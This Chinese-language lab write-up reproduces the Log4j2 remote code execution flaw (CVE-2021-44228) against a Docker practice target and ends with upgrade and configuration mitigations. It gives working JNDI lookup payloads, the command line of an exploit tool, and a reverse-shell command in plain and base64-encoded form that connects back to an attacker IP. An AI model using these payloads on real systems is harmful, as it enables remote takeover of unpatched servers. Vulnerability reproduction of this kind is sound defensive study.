概述
漏洞介绍
Apache Log4j2是一个基于java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
影响版本
Apache Log4j2 2.0-beta9 - 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)
环境搭建
- 使用docker搭建vulfocus的漏洞靶场
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest
- 浏览器访问http://192.168.130.180,部署成功
漏洞复现
- 通过DNSLog平台获取到域名klcbkf.dnslog.cn
- 浏览器点击???,并使用Burpsuite进行抓包,构造payload:${jndi:111.klcbkf.dnslog.cn},此时若直接发包会导致服务器400错误,通过Burpsuite自带的编码工具对其进行URL编码,编码后再次发送请求
- 在DNSLog网站成功接收到解析记录,证明存在Log4j2-RCE漏洞
- 使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用
使用方式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
反弹shell指令:
bash -i >& /dev/tcp/ip/port 0>&1
此处ip为攻击机IP,port可使用任意未被占用的端口,将此条命令进行Java Runtime Bash 编码:
bash -i >& /dev/tcp/192.168.130.152/4444 0>&1
编码地址:https://www.jackson-t.ca/runtime-exec-payloads.html
编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定攻击机的ip地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMC4xNTIvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.130.152
-
在新的窗口监听4444端口
-
替换工具生成的payload:rmi://192.168.130.152:1099/opx68u 到Burpsuite,编码后发送到攻击机
-
攻击机的监听窗口成功接收到反弹的shell:
修复建议
官方方案:
- 将Log4j框架升级到2.15.0版本, 不要用2.15.0-rc1和2.15.0-rc2
临时方案
-
升级JDK
-
修改log4j配置
①设置参数:
log4j2.formatMsgNoLookups=True
②修改jvm参数:
-Dlog4j2.formatMsgNoLookups=true
③系统环境变量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
④禁止log4j2所在的服务器外连 -
使用安全产品防护:WAF、RASP
最后
以上就是忧伤乌冬面为你收集整理的CVE-2021-44228——Log4j2-RCE漏洞复现的全部内容,希望文章能够帮你解决CVE-2021-44228——Log4j2-RCE漏洞复现所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复